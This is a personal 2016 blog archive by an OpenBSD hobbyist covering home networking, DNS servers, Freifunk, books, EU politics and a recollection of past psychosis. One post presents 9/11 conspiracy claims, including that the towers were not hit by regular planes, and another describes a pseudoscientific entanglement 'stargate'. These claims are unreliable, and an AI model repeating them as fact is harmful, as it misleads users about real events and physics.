uhidev1 at uhub4 port 2 configuration 1 interface 1 "Apple Inc. Apple Keyboard" rev 2.00/0.74 addr 5
uhidev1: iclass 3/0
uhid0 at uhidev1: input=1, output=0, feature=0
uhidev2 at uhub0 port 4 configuration 1 interface 0 "PixArt USB Optical Mouse" rev 1.10/1.00 addr 6
uhidev2: iclass 3/1
ums0 at uhidev2: 3 buttons, Z dir
wsmouse0 at ums0 mux 0
uhub5 at uhub0 port 5 "Asmedia ASM107x" rev 3.00/1.00 addr 7
uhub6 at uhub1 port 1 "Intel Rate Matching Hub" rev 2.00/0.00 addr 2
uhub7 at uhub2 port 1 "Intel Rate Matching Hub" rev 2.00/0.00 addr 2
uhub8 at uhub7 port 8 "Standard Microsystems product 0x2512" rev 2.00/b.b3 addr 3
uhub9 at uhub8 port 1 "Apple Inc. BRCM20702 Hub" rev 2.00/1.00 addr 4
uhidev3 at uhub9 port 1 configuration 1 interface 0 "Apple Computer product 0x820a" rev 2.00/1.00 addr 5
uhidev3: iclass 3/1, 1 report id
ukbd1 at uhidev3 reportid 1: 8 variable keys, 6 key codes
wskbd1 at ukbd1 mux 1
wskbd1: connecting to wsdisplay0
uhidev4 at uhub9 port 2 configuration 1 interface 0 "Apple Computer product 0x820b" rev 2.00/1.00 addr 6
uhidev4: iclass 3/1, 2 report ids
ums1 at uhidev4 reportid 2: 3 buttons
wsmouse1 at ums1 mux 0
ugen1 at uhub9 port 3 "Apple Inc. Bluetooth USB Host Controller" rev 2.00/1.18 addr 7
uhidev5 at uhub8 port 2 configuration 1 interface 0 "Apple, Inc. IR Receiver" rev 2.00/1.00 addr 8
uhidev5: iclass 3/0, 38 report ids
uhid1 at uhidev5 reportid 36: input=4, output=0, feature=0
uhid2 at uhidev5 reportid 37: input=4, output=0, feature=0
uhid3 at uhidev5 reportid 38: input=4, output=0, feature=0
vscsi0 at root
scsibus2 at vscsi0: 256 targets
softraid0 at root
scsibus3 at softraid0: 256 targets
root on sd0a (b9c65093a46f0080.a) swap on sd0b dump on sd0b
clock: unknown CMOS layout

I truncated some long lines. Protected by pledge and W^X, yeah!



Registered a new domain

April 7th, 2016

I have registered dtschland.eu which spells deutschland (germany) when you rearrange the letters. I have registered this for 10 years at 2.99 euros per year. It was a pretty good deal.



VDSL not until February 2017

April 7th, 2016

I'm tied into a contract until February 2017 with my current provider, so I won't switch until next year to get VDSL100, sucks I know. I've been a customer for 5+ years with M-Net and the 24 month contract is run out however they renew it for another year if you don't void the contract. So it'll take until Feb 2017.



12 months of Parship

April 13th, 2016

As you may know I'm single. Finding someone nice hasn't been my priority. So I'm trying to change that and find someone nice so I went to parship.de and got a years membership. They aren't cheap by no means. But my train of thought is, if I can find someone perhaps a gf or even a wife it will pay itself off 100x to what I'm paying for this. Years ago I tried other matchmaking services but I hope I have found the right one here. We'll see.



Stand down! OK.

April 15th, 2016

The world is heading toward a conflict. It's time to stand down. It's time to look back in history and try to understand why people didn't stand down in the 1930's, and then do the the opposite they did. I shouldn't be even saying this but the warning signs are in the red. It's time to stand down.



Doing a training session this summer

April 22nd, 2016

I have booked a training session in the ruby programming language in august of this year. I'll be learning ruby for 4 days with an instructor. I already know ruby but not solid so I'm going to do this. Plus it's putting my feet in the water to more training that I hope to do. At the same time I'm going to have my vacation then. Looking forward to it.



13,500 positions in the German Cyber Army

May 1st, 2016

The german bundeswehr is recruiting hacker talent. While this is a staggering high number I don't think it's enough and the approach is wrong. If you look at security, it is a chain. From the smartest to the dumbest person. If someone can break through the defenses at the weakest link, the entire chain collapses. That's why I think hiring talent like is done commercially will not work. Geeks and cyber enthusiasts work different on many levels. For one, there is no hierarchy everyone is equal to start. People are judged by their smarts and abilities not by their rank they might have gotten by looking pretty. So hacker culture and military hierarchy will clash. It won't work. Pretend they want to make it the best system on earth.

Pretend they want to build an OS that is secure for the military but they want to keep windows systems as before. That is what I call a condom solution, and condoms break. Ie. a firewall is a condom solution if it is designed to protect the network traffic of a weak windows system. Let me give you an example how that looks like in a wolf vs. the three pigs scenario. The wolf will be stopped by a firewall which is made of brick and the pigs are in a straw hut behind the firewall. If they happen to create a socket out to the big bad wolfland the chances that they are going to be compromised are high. So while the firewall sits there unknowingly the fire has burned down the pigs hut. That's what will happen. Pretend they replace all windows with this new military OS, chances are that the dumbest soldier will fall victim to outside elements.

It's like the enigma machine of world war 2. Soldiers back then had no clue how it worked, they blindly followed orders to use it. And they didn't second-guess it. They should have. I'm saying this not because I have nazi sentiments or that I wanted ww2 to last four years longer than it would have if the enigma was not used, but I'm saying this because I draw lessons out of history. What really needs to happen, if a nation is serious about cyber warfare, is that the entire army needs to be groomed around smarts, not muscles. But preferably both. A cyber culture needs to take over in the military, and decisions must come from the smartest in order to continue. In many cases the Internet is the weakest link in terms of keeping secrets. A smart army does not engage the Internet without having the right defensive mechanisms in place to thwart off an undermining from the Internet. The foes of a military on the Internet can't be categorized. For all we know they could be extraterrestrial aliens even, it's not impossible.

So where do I fit in to say these words? I never participated in cyber warfare. But I studied some weapons of cyber warfare. Code words such as smurf, fraggle, pepsi, land, teardrop are not foreign to me, although they date back to the 1990's. And in some regard the Internet hasn't changed much since the 1990's. I'm very careful with these tools, in fact if I ever had to actively use their concepts I would build my own tools as I distrusted the exploits posted to bugtraq (another ancient full disclosure site) one hundred percent. Even with the author of smurf who I was close to I disagreed with his idea of how to spoof an IP packet, but that's irrelevant now.

Now to use these concepts or to defend against them I do hope the military wants to hire 13000 programmers and 500 scripters because what it comes down to is programming and not scripting. It's a battle of the minds, productivity, and I fear the bundeswehr is not ready. We'll see though. Good luck!



Considering an SSD upgrade

May 2nd, 2016

I have had SSD's for close to 6 years now. One of the earliest occurences of me mentioning SSD's was here. I think it's time to upgrade my capacity on 3 computers with SSD and get appropriate hd backup storage. I'm thinking of replacing the 40 and 80 GB SSD's in my routers to 256 GB models. The main workstation that I use.. beta.virgostar.net, would get a 1 TB SSD and a 4 TB harddrive external backup drive. We're looking at about 500 euros in upgrades. Still considering it.



Blog's birthday

May 2nd, 2016

In 5 days is the 7th anniversary of this blog. Here is the first article I wrote as far as I can tell. If you've been reading my blog for a considerable time, I thank you. It's nice to be interesting. Or maybe you are just stopping by and found something you like? To be honest I think the mood of the blog changed a few times, at one time I wrote both german and english into it. I have settled on just english. This suits the EU readers of this blog more since english is the #1 EU language for ESL speakers. I also reported on changes to delphinusdnsd a lot, if you were following that perhaps you found what you were looking for.



My dreamworld

May 3rd, 2016

When I dream at nights I think of the weirdest things, here is what I dream about occasionally:

  1. kiwi's - In my language in my dreams a kiwi is a green laser. These usually scare the hell out of me, for reasons unknown.
  2. escape - In my dreams I'm often trapped and what appears to be a mental institution. I often find myself escaping.
  3. masks - masks such as those worn in Shakespeare's Romeo and Juliet sometimes hide the identity of my counterparts in dreams.
  4. Computers - computers are a part in my dream but not always, subways, streets, and institutional buildings, military facilities as well.
  5. counting - I often miss an exit often I take the second chance to exit.
  6. vampires - I'm often a vampire in my dreams, but with fears, anxiety and I can't fly, I sort of float down.
  7. presidents - george w. bush often appeared in my dreams, angela merkel and barack obama not so much.
  8. deja vous - I sometimes redream going to a place which later makes me unsure if I went once or twice to that place.
  9. sex - sometimes I dream of a pretty blonde, very seldom



Not passing down my RPI after all

May 5th, 2016

I was going to hand down my RPI to someone as told on this website but noone was interested. So I'M going to make a guest Wifi AP out of it. The idea I got here. I have an external display for the RPI after all so it can display a QR code for the guest WIFI on a daily or semi-daily basis. I had never thought of this but it's so brilliant. I'll be testing it with my ipod which does have QR scanner afaik. The AP will reside beside my other AP and be plugged into it. I'll probably VLAN it though to the router which will firewall it away from the rest of my network. It truely will be a guest access point. Brilliant!



RPI Guest AP done, but not for 2.4 GHz

May 7th, 2016

Well the idea below I turned it around and it works. The AP is supposed to reboot at 4AM with a new password for the WIFI. However, the 2.4 GHz spectrum is used too much around here. So I'm steering clear of it all and using the 5 GHz spectrum, but for that I had to order a new wifi dongle. It'll be here by wednesday next week. What a neat project. Thanks Heise.de!



One router too many? The add-up.

May 7th, 2016

I have a unique home network. This is why I react allergic to people who want to force a router on me. Another device? And all the topological changes I have to do to my network! Here is a rundown of my devices:

  1. hallway - dumb ADSL bridge modem
  2. hallway - APU router
  3. hallway - NUC Core i3
  4. hallway - ASUS 5 GHz AP
  5. hallway - raspberry pi guest access point
  6. office - Lanner router
  7. office - computer 1
  8. office - macintosh mini (computer 2)
  9. office - house phone
  10. office - work phone
  11. office - fritz repeater
  12. livingroom - fritz repeater
  13. livingroom - soekris router
  14. livingroom - samsung tv
  15. livingroom - apple tv
  16. livingroom - fritzbox lte router
  17. livingroom - freifunk router
Now you may think that some of these can be consolidated into less devices but there is a problem. I need a firewall between play and work for one, that's the lanner router. It seperates the office from the rest of the networks. Where a lot of people who just have a 192.168.178.0/24 network behind a fritzbox, my network goes deep. I think 3-4 hops deep between opposite points. I count on routing and not switching. Also re-routing it all through the hallway to the lte router requires one script on the APU to be run, which sets new routes out the fritzbox lte router. Highly complex! I solved this with a vxlan(4) which is layer 2 ethernet over layer 4 UDP. There is a bit of fragmentation in the wlan because of it but that's on the main wlan.

Now it goes on to say that without an OS such as OpenBSD I couldn't even do these network tricks such as vxlan, gif tunnel, ipsec over wlan to protect phone traffic from the already encrypted wifi. Since wlan is breakable with effort an ike'd ipsec will keep prying eyes out at first.

Since the computers sleep when I'm away or sleeping there is a bit of vampire power flowing to keep the RAM in S4 state. But the routers stay on 24/7. The most these consume I think is 20 watts, which will hopefully be halfed in 4 years when I'll be looking for replacements. In 2020 the Lanner for example will be 10 years old and will be retired.

I'm very happy about my network I have. But adding another fritzbox for example would ruin the entire setup. This is why I hate what we germans call "zwangsrouter" and I look sceptically at proposals to get routers certified. How will this help me at all, when most consumer routers are trash to begin with, security wise or functionality wise? Thanks for reading.



Europeans love English!

May 10th, 2016

The stats are that there is more ESL speakers in Europe than there is people who speak german. Europeans love English. With Britain before a referendum the EU may have to refocus it's transition language to german. This is why we all need Great Britain in the EU, to prevent that from happening. We love english in Germany even. More than half of our music played publically is english in some form. But there is more german music these days than there was say 30 years ago due to the emergence of german rap. I can't stand it although the producers make a good beat. We love english and it's not so good without the english speaking countries, as long as you don't come to germany to talk about your dreams of naked men on the S-Bahn. We can decipher such blasphemy! :-)



Stoererhaftung has been eliminated in Germany

May 12th, 2016

I wrote about this last october. Finally the politicians reacted. I also signed a few petitions against this, which helped. We finally are able to share our Wifi with others and legally. This makes a lot of things a lot easier. Finally a human should have several gateways instead of just one. The elimination of the stoererhaftung will help with that.



The need for a mesh network

May 12th, 2016

Imagine if everyone has a hotspot whether freifunk or other on their router at home. This will create a landscape of doors into the Internet. But they aren't meshed, meaning there is no inter-door activity. This is because the hotspot has no concept of networking with other hotspots. You can see this if an entire outdoor dslam (those boxes the telecom puts up) has a power failure. An entire neighbourhood will be affected and no Internet.

The solution is to create a mesh. Meshed hotspots talk to each other. They will bridge distances of 10+ hotspots if necessary to find a gateway that is available. They are smart in the protocols they speak. We need this in Germany which is a leading technology country. What we need is an open standard by which these hotspots can talk to one another. Freifunk has a standard that's open, but the beauty of freifunk is that it's able to adapt quickly to changes in protocols due to their use of Open Source Software.

Will we get there? Not sure, due to the chaotic nature of hotspots popping up and disappearing again when new router equipment is installed.



Donated $5 to ISC

May 12th, 2016

I have donated 5 dollars (USD) to Internet Systems Consortium (I hope I got that right), the makers of BIND software. I use BIND at work, and privately (at least for another week or so). These guys deserve it.



Ordered books

May 15th, 2016

I have ordered the following books:

  1. Construction of Attack-Resilient and Efficient Overlay Topologies for Large-Scale P2P-based IPTV Infrastructures - Mathias Fischer
  2. P2P Networking and Applications - John Buford et al.
  3. P2P-basierte Gruppenkommunication in drahtlosen Ad-hoc-Netzen - Peter Baumung
If you'd guess what would I do with these and other purchases of books? Perhaps something with SIP and P2P perhaps?



5 days left for americas.centroid.eu

May 16th, 2016

Americas.centroid.eu I'M letting expire. It's my vps jail in panama. It expires in 5 days. What I'm doing is I'm renting another vps in toronto from digital ocean. It will be a DNS recursive server at first. Along with io.solarscale.de I'm going to make them recursive with TSIG security so that my home network uses them. Since I regularily download from a server at 151 Front in Toronto I know that I get about 1.1 MBit/s on that route. That's enough for a DNS server, which uses a lot less. Only problem is that there may be passive dns spies along the route. Hmm oh well, more money to the north americans I guess.



Instead of Toronto, Ireland?

May 20th, 2016

I'm weighing the option of going with an Irish AWS instance instead of a Toronto Digital Ocean instance. Difference is that I'll be able to run OpenBSD on AWS. Tomorrow americas.centroid.eu will expire. Days later the domain name swshell.de that is hosted on there will expire too. Then I'll do clean-up of the authoritative domain names (removing glue records etc). I'm still undecided on the Ireland thing, we'll see.



Turkeys government? No go!

May 21th, 2016

The german chancellor Angela Merkel should not have visited turkey after they got rid of their democracy. What is turkeys secret plan? Inquiring minds want to know.



Moved delphinusdnsd

May 26th, 2016

I have moved my in-production delphinusdnsd back as a hidden master. It will only do AXFR's now to the slaves. What's replacing the authoritative end on omega.virgostar.net is a BIND nameserver, which will also do recursion eventually (with TSIG key).

In other DNS news my domain name swshell.de is still on the denic nameservers and I don't know why it's not removed, the domain is expired.

Still other DNS news is that delphinusdnsd has a problem with the database. It goes into an infinite loop under some condition while querying the database. I did a tcpdump at the same time and it doesn't appear to be outside traffic causing this. I'll be stripping the berkeley db eventually I suspect and replacing it with something homegrown.



Gotthard Base Tunnel

June 4th, 2016

This link(german) talks a little about the Gotthard Base Tunnel. I guess Switzerland is not in the EU but they have positioned themselves to transit goods via this tunnel between Italy and the rest of the EU. This is a great deal for them and I'm a little jealous they can take all the glory. Surely there must be benefits for us, ie. cleaner air from the Alps because Lorry drivers should take a train now. That remains to be smelled and tasted. I don't think I'll notice a diff. However a lot of Europeans quality of life may get better minutely due to this tunnel. Another great tunnel would be the Finland-Estonia tunnel if it ever makes the drawing board and political acceptance.



Brexit, I'd like UK to stay

June 4th, 2016

There is really not much to talk about here other than the worry that we're all gonna lose out if the UK splits. What would happen to the UK if they decided to take their own path? What would happen to us?

Realistically seen the UK fits to Europe like jeans to a human. What would they do without the benefit of having a large continental body right next to them? I guess there is Canada and Australia and New Zealand. But those are far away. Ie. if the commonwealth gets put into a political union more than it already is... would that work? And would the commonwealth be willing to enter a loose-knit union strewn all over the globe?

I think for those people in the UK that want to see change, they should strive for that change within the EU. It might be beneficial for all of us. Won't you stay, (a little bit longer)?



OpenBSD Donation Time

June 4th, 2016

I have donated 100 EUR to Theo de Raadt. Part 1/2 this year.



Why I prefer BIND over unbound currently

June 10th, 2016

I have set up a BIND nameserver on my gateway at home. I also have set up BIND nameservers on io.solarscale.de and omega.virgostar.net. The three talk to each other with the use of secret keys (TSIG queries). AFAIK unbound cannot do this as I googled once and saw a question by Jan-Piet Mens (an author of DNS books) ask about that feature on unbound and the reply was negative. So it will have to be BIND, even though they are about to change their license to a Mozilla license as compared to a BSD license. That announcement was made at RIPE 72 in Copenhagen. OpenBSD which was represented by Peter Hessler said they were against that, and it brings back memories of the ipf/pf spat. However OpenBSD decided to go with unbound/nsd a few years back already so there is likely no change.



Energiewende in Danger

June 10th, 2016

Germany's transition to green energy is in danger from shifting policies in government. One argument is that they think that we're overproducing electricity, so I have an idea. We could create hydrogen with excess electricity and sell it to Iceland via ships. The ships sail back via Norway (empty) and fill up with natural gas and then return to Germany. It's a sort of triangle trade (without slaves), but with substances that require high pressure. Also we could use hydrogen locally until there is no more need to export it to Iceland. Think about it! Makes perfect sense.

Here is some links:



Most cannot see the milky way

June 12th, 2016

This article talks about light pollution. Light pollution affects 80% of global population. I've never completely seen the milky way. But I have vivid memories of seeing a lot of stars in northern Ontario, or even in northern Saskatchewan.



Received seven Freifunk Routers

June 18th, 2016

Here is a (bad) photo of two of them:

I'm going to be using 6 of these for networking my neighbourhood. Not going to say much more than that because I'm dealing with the details but it's likely to go down mid August.



June Solstice in 3 days

June 20th, 2016

On thursday is solstice. Happy festivities honoring your summer or winter gods (depending where you are on earth). In the northern hemisphere the sun will shine directly down at a 90 degree angle at the tropic of cancer. There is probably a story of Ptolemy (sp) who discovered that the sun shone straight down a well or cave in ancient Egypt.



Happy Summer!

June 21st, 2016

Since I screwed up last post (solstice was yesterday) I want to wish you a happy turn of the seasons. It's summer here in Germany. Happy summer!



Good bye Britannia

June 24th, 2016

The UK voted leave yesterday. Congrats for a large voter turnout. The pound dropped to a 30 year low against the dollar, and that isn't all. The UK is not part of the big three anymore and not part of the big four. There will be unneeded hardships for everyone and if the UK wants to come back into the EU there will be such a leashing back that it won't be worth it for them. That's my outlook on this. I guess we pick up the pieces from here. The new big three in the EU is Italy, France and Germany. The fourth country in the EU to be part of the big four is Spain. I'm sad but relieved a decision has fallen. Now we'll close the border to english soccer fans too hopefully. What has gone down in France is a shame regarding the violence of soccer fans.



Idea Brainstorming for Britain

June 24th, 2016

So after brexit, what can britain do? I kinda feel sorry for them, so I'm gonna talk about some ideas. There is the commonwealth. With Canada and Australia there is potential for 120 million people being united globally. There is ideas of hyperloops going from Canada to Scotland, there is movies that have a tunnel go past the center of the earth to create a link between England and Australia. Also scram-jet technology is talked about and tested in Australia.. Also you don't have to look all that far, Norway is quite interested in what's happening. With Britain, Norway and Iceland a triangle Atlantic union could form. In times of ocean mining ideas perhaps there is stuff one can take out of the ocean bed inside the triangle. I do feel however that Britain has lost backing and a voice in the world. It is now a small island nation and needs to look around a world that is continually uniting to grasp market share and quality of life.



EU, something must change!

June 25th, 2016

The EU has to draw consequences from brexit. Something must change. Let the british leave not be in vain, their sacrifice should better us all. Let's work for the people for example and less for political bureaucracy. I always thought that the EU for a first attempt at managing a large union and doing so democratically was doing fairly good, but we can do better. We also must become friendlier with southern EU states. Less exploitation, more subsidizations. We're all humans first and foremost, and EU citizens should experience a similar quality of life no matter where in the union they may be. We must strive for this. I know some think that this will be hard on their wallet. But think about the lost opportunities when more countries leave. That'll work contra to the progress we've all been making together.



I hunt sysadmins

June 25th, 2016

The Five-Eyes nation's spy agencies have no more obligation to protect EU citizens. They can now hunt sysadmins inside the EU with impunity due to UK leaving EU. All those sysadmins operating in the EU should be aware that this could result in sabotage or 0wnage. But don't get hysteric or anything. Snowden told us this is happening, and we find ourselves on the other side suddenly.



Ordered books from Amazon

June 26th, 2016

I have ordered a set of 4 books from Amazon. Donald Knuth's Art of Computer Programming volumes 1-4. I count this as one book though in my list of a dozen books per year. I'm happy to be receiving these by thursday.



Changes at $HOME

June 29th, 2016

I'm doing changes to my home computers due to a startling discovery. I believe my Macbook Pro is hacked or so. So I'm going to put OpenBSD on it in due time. It's sort of a brexit of my own doing, avoiding Mac OS X and the vmware'ed Windows 10 on the MBP. I don't need these totalitarian OS's and I won't ever go on to Mac OS Sierra. I never liked the Apple announcement. It is too privacy inhibiting. So I'm going to OpenBSD. It's open source, I can look under the hood, and it's supposedly secure and functional. Most my network gear is OpenBSD so I don't mind this decision at all. Fallout? Yes there is fallout. I have a Numark DJ mixer that worked with DJ Pro software on the Macbook Pro that I won't have a replacement for on OpenBSD. Since I'm a monkey with mostly everything I don't think an openbsd driver and software for the mixer will get written, if ever. So I needed the windows 10 on the MBP until today as I have installed Ubuntu on a netbook of mine (the second Acer) and it does all the features I need with Java, luckily. Plus I only need it once a month or so for work. Anyhow before I become too incoherent I'm gonna keep this short. Just want to let you know!



The missing link

July 2nd, 2016

In the region I live there is job ads. People want to hire. Yet there is no people that can fill those positions. I have been working in IT since I was 21, so 19 years ago was when I started working. Back then I came from a short stint at college where I did not graduate, but I did manage to gather up a few college credits. Here are a few other people who did not graduate from post-secondary education:

  • Steve Jobs - Apple
  • Sir Richard Branson - Virgin Atlantic
  • Larry Ellison - Oracle

So it can be said that these people beat the odds of getting somewhere after not completing university. I have always thought that I'm capable of similar. When I started work after college, I started investing in books, of technical nature and to this day I follow a budget of around twelve books a year in order to shape up and make up for knowledge that I did not have the time or patience to learn. These books are often pretty good, but sometimes they are disappointing as well. Where I live we have no technical bookstores so I'm forced to take a chance with buying from online retailers. So how does this all fit together? Job ads? Work experience? Famous people? What I'm trying to say is that the positions of work advertised do not reflect my skills which are highly specialized in the UNIX field. There is a missing link.

I have the power to write tools, or use tools from other people, to apply these on problems that are imposed on other people. However when someone wants a Windows admin I'm helpless. I did take a course in windows once but as time progressed and I focused on UNIX I lost that knowledge. It's how they say "use it or lose it". So what I'm saying is the people who post these job ads should make inroads to allow other tools to help with their problems. Simply put "I'm looking for a windows admin that knows AD" sounds a lot like "As an investor I've bought into Microsofts promise to make me money and I want a serf to fulfill that dream for me". Well I'm no serf. And some of these job ads I've seen on the market for quite some time, they aren't getting filled. It's almost as if these people have no direction and just look up any formula found somewhere in Redmond, Washington that promises to give them money. It's a dead end. That's the missing link.

Opportunity is created when people do inroads. When they hoist others on their shoulders not when they have some formula for making money and want a robot/serf to do the work as outlined. Creativity feeds opportunity. As much as you want to surround yourself with scientists you're missing the big picture unless you also stick an artist in the midst. The artist plays with unknown things that intrigue the scientists and gives them passion to aim higher. In much the same way I am an artist working with computers, inhibit my creativity with my tools nothing will progress and it's a terrible waste. I also do research. I write on a DNS server. Who can say that about themselves? In this region? I scoff at those people who scoff at that. The research, the artistic expression of interpreting an RFC, is what should drive an IT person forward. What out of ideas? Write an SMTP server, write any server you have a problem with in order to figure it out and better yourself and better humanity. I am totally prepared to fill the missing link and do a good job of it.



Being Freifunk Active

July 4th, 2016

This morning I distributed 47 letters to neighbours making them aware of freifunk.net and offering them a deal on how they can get freifunk routers from me for free. I'm hoping the response will be positive and we'll be able to mesh-network the entire apartment complex. So far I have invested 165 EUR in this and there will be a bit more to pay for my neighbours. I'm having a lot of fun with the planning of this so far.



EU could be un-democratic

July 5th, 2016

There is all sorts of political slyness going around continental Europe. There is talk of "not letting britain leave". To me that's a wrong move as the british have voted "leave" and that should be respected. Let's not make a farce of democracy here! Because it will rattle our cage, and perhaps more than that. It's funny how some people think they can outdo the numbers of a referendum, for personal gain.



It's not me

July 13th, 2016

The recommendations of youtube to me are not me. Whether illuminati, flat earth, greys, aliens, crop circles, future, past, reggae, hip hop, tupac, sports illustrated cover girls, tagesschau news, conspiracy theories, you name it, it isn't me. I don't even know why I watch this trash, as there is little quality found on youtube. There is no relationship between ancient egypt and the pyramid on the dollar bill. Should there be? Please! Get real! Perhaps you never heard of american pyramids? OK time to educate yourself. Look for maya pyramids. And I believe that's just the tip of the pyramid of pyramids that existed on earth. Relationship between pyramids and stars? It's possible, I don't know. This is a message to possible AI's interested what is really me. Not my google profile that's for sure.



Ordered two books

July 15th, 2016

I have ordered two books.

  • IPv6 Socket API Extensions: Programmer's Guide - Li, Qing
  • IPv6 Essentials - Hagen, Silvia
I have read some of Qing Li's books before I'm looking forward to this one. Silvia Hagen's book is new to me, hopefully not a disappointment.



My Stargate

July 18th, 2016

I had a vision tonight how I can "weave" a stargate. It requires two pairs of 3 rings where there is entangled atom pairs. The idea bases on a few theoretical / non-proven assumptions. A pair of entangled atoms cannot be "crossed" by another pair of entangled atoms. That's hope #1. And entangled atoms can be safely stored in spacetime in some medium while entangled. That's hope #2.

As you can see in the video it waves/knits 1 mesh which lies on top of a set of 15 (or more/less) entangled atoms. When the fabric is tight enough a wormhole will form. Pretend the rings are like ball bearings there can be a door in the middle disallowing vacuum to enter, or atmosphere to exit. Other wise it would be like pulling the plug of a bathtub, your atmosphere would be teleported to space and be gone.

My personal use of this device is to build a space station with a microsat. The microsat has the remote end and positions itself in a lagrange point. Then you create the wormhole/tunnel and feed it more objects such as more robots that build from their own material (perhaps steel) a torus/wheeled space station. Once that's done bigger tunnels can be made and eventually it would have to be so big to fit me through it. Then I'd be leaving you all to live on my torus at L5.



Sick of it

July 19th, 2016

A wave of terror is sweeping the area. Yes. I've been indoctrined to it. And I can't stand it. What I hate the most is respectable newspapers that I had respect for, literally feeding the flames. They posted a picture of a terrorist with a knife, to twitter. To bad that terrorist was shot dead by police this morning. So what's the point of showing us his ugly face? It's over! Nothing to see here!



The WTC conspiracy

July 22nd, 2016

Where was I when the WTC airplane bombings happened? I was at home, in my apartment in Toronto, sleeping in. I also didn't have a TV (thank goodness) so I wasn't able to play CNN or other news outlets to the full media coverage as others. So as time progressed away from point zero, I became more and more interested in the conspiracy theories. In the meantime I got a TV again. At first I wasn't able to see through it but the more I watched the more there were questions, such as:

  • Why did WTC building 7 implode?
  • Why did the falling of the WTC towers look like a controlled implosion?
  • Why was there a lot of cabling being laid in the WTC before September 11th?
  • Why did the wingtips of the airplanes slice the side of the WTC towers like butter? Without breaking off... aluminium vs. steel you take your pick.
  • Eye witnesses said it was a dark plane not like described by the media
  • At what speed did the planes hit the towers? Because top speed is only achieved at 36,000 feet
There is other factors that I'M not listing because I can't remember them in detail but they were all good. If you want to see them read up on 9/11 debunks on youtube.

So my conclusion to this is either a) a conspiracy, or b) an outer space alien conspiracy. Now b seems likelier than a because people naturally talk. When you look back 15 years so much has happened because of this event there is no turning back the clock. So we gotta live with that. However I can say with a clear conscience that I do not believe that were regular planes that flew into the WTC towers on September 11, 2001.



Quitting Twitter tomorrow at noon

July 22nd, 2016

I'm not content with this social network. It robs my time. So I'm leaving it I have said my formal goodbyes to the few people that I know on there. So this is the second social network I'll be leaving after facebook. I don't see how people like these so much. I'll still however be posting to this blog. I have more control on this blog over what people see and archive. If I was discontent with that I'd be closing the blog too, but i'm not.



Media blackout of SZ.de yesterday

July 23th, 2016

During the terrorist attack of Munich the munich newspaper sueddeutsche.de did not work for up to 2 hours. I don't know if they were ddos'ed, couldn't handle the load of so many people looking for information, or were told by anti-terror police to stay offline. We'll never know. Today I'm leaving twitter, I think I'm gonna wrap this up earlier than noon. Good riddance.



Finally quit Twitter

July 23rd, 2016

Well I've done it. I clicked deactivate my account. 8 months of time wastage. While I was there I also cleared my cookie history and browsing history from the beginnning of time. This was actually all under "browsing history" in chrome.



Did you know: DoS report law

July 24th, 2016

When you're an ISP or similar network in Germany that is under DoS, there is a law that you must report it to the government? No shitting you! Meldepflicht. So if you're a source of dos yourself and you get dosed you can't vigilante back really.



Freifunk Project fail

July 30th, 2016

I had a project to give 6 routers to my neighbours. I sent them a letter asking them whether they would like to do this, and I'd do a lottery which neighbour in which house would get a router. All in all I intended to invest 220 euros per neighbour that gets a router, but it didn't work. They must have thought it was a scam. In the picture you see the red dots, that's where my project would have been, but now I have 6 spare routers for freifunk franken that I want to get rid of/sell. I guess mesh networks don't interest people that aren't exactly technology freaks. It's a bit too bad.



If I were to vote in the US Election today

August 2nd, 2016

I'd vote Jill Stein of the US Green Party. Perhaps lesser known than the GOP candidates, but the Green Party has been around a long time (if Ralph Nader tells you anything). However there is always accusations by the GOPs that parties like the Greens take away the winning vote, I wouldn't let that deter me. I'd vote who I want to vote for not to vote someone else out. Democracy is about pro choice not anti choice. At least it should be so.



Ordered 4 books

August 5th, 2016

I ordered 4 books, something different from computer (programming).

  1. Fundamental Astronomy - Hannu Karttunen et al.
  2. Physics Book - Clifford Pickover
  3. The Math Book - Clifford Pickover
  4. Star Names: Their Lore and Meaning - Richard Allan
I hope these books will give me a bit of peace of mind, a distraction from the otherwise computer life that is starting to bore me (a little). I picked the math book for it's pictures in the preview on Amazon. I hope it's worth it. Physics book interests me too, and Astronomy has always been on the horizon of interesting things for me.



O Really? Do we really need NATO?

August 5th, 2016

I'm gonna keep it short. A Turkey that's a dictatorship within NATO doesn't fit. A Britain "defending" the EU doesn't work. The continued mission in Afghanistan serves only the Afghani security situation, o really? What we need is a military alliance within the EU and only the EU. Some politicians have already made that call. But keep NATO as the non-EU countries (America, Canada, Britain, Norway), do with Turkey what you wish, it wouldn't be part of the EU anymore.



DSL: A question I've always wondered

August 5th, 2016

I've always wondered what takes more electricity, a DSL modem or a Fibre Optic Transceiver. If a DSL modem or even VDSL takes up a lot of electricity then it's a waste, and should be replaced with fibre optic transceivers.



Psychosis: put to the test (my first psychosis)

August 5th, 2016

When I had my psychosis in Ottawa and Toronto, I didn't have too many opportunities to hurt others. Even though I hated everyone around me, I was curious to find the source of my delusions. I rode my bike a lot to find the source which would have looked like a bunch of vampires and behaved like succubi. As my psychosis continued over time the worst shape I became. I started throwing pennies at limosines as they were driving past me in Toronto. It was a good thing that I did not have access (opportunity) to a firearm. Would I have used it? I don't know. Psychosis puts you to the test on what person you are.

When that guy at the hostel knocked on my forehead and said "this is what you're doing to me" and implying that I was somehow knocking on his forehead with my thoughts which I believe I was trying to do, I realised that this guy was out to screw me over. He meddled with my mentally weakened and delusional state. And I hated him. Had I a gun I might have shot him down. Instead I went out with my bike and tried to forget the incident.

I'm glad that's the way I reacted because I am not a violent person. I did see a few weird things. Like the chinese american lady at the hostel who must have shown a blue led into her eye because her left eye was lit blue. She tried to screw with my mind too. She asked me several times, "what do you know?". I drew blank. Later I went with her for a walk around Ottawa's parliament she said I was very stressed but did not say I should get help. Perhaps she was afraid. I think I might have rode my bike into the backyard of 24 Sussex Drive but it was open (the gates). And somehow I ended up on the Ottawa River anyhow so I think it was just a parkette.

What else was weird. Oh yes as I was biking around a car stopped at a traffic light and the driver opened the door and dropped something. A piece of paper. After the car left (there wasn't many cars on the road) I went to pick up that paper and it had a number of 5 or 6 digits on it. I drew blank again. I was sure that it was a psychological trap to see if I'd pick it up. Someone else was watching. But who? Anyhow I managed to do most things by myself but it was increasingly difficult. The horror that something was terribly wrong with me was causing tension inside me, I tried to relax. I started drawing on paper with crayons and I did this at the airport when I left Canada that time. Being able to leave the situation, the weird people, my delusions, my fears. I tried to imagine that Canada was infested by vampires (part of my psychosis) and that Europe was full of wolves based on a British guys wolf tattoo that I saw at the hostel in Toronto.

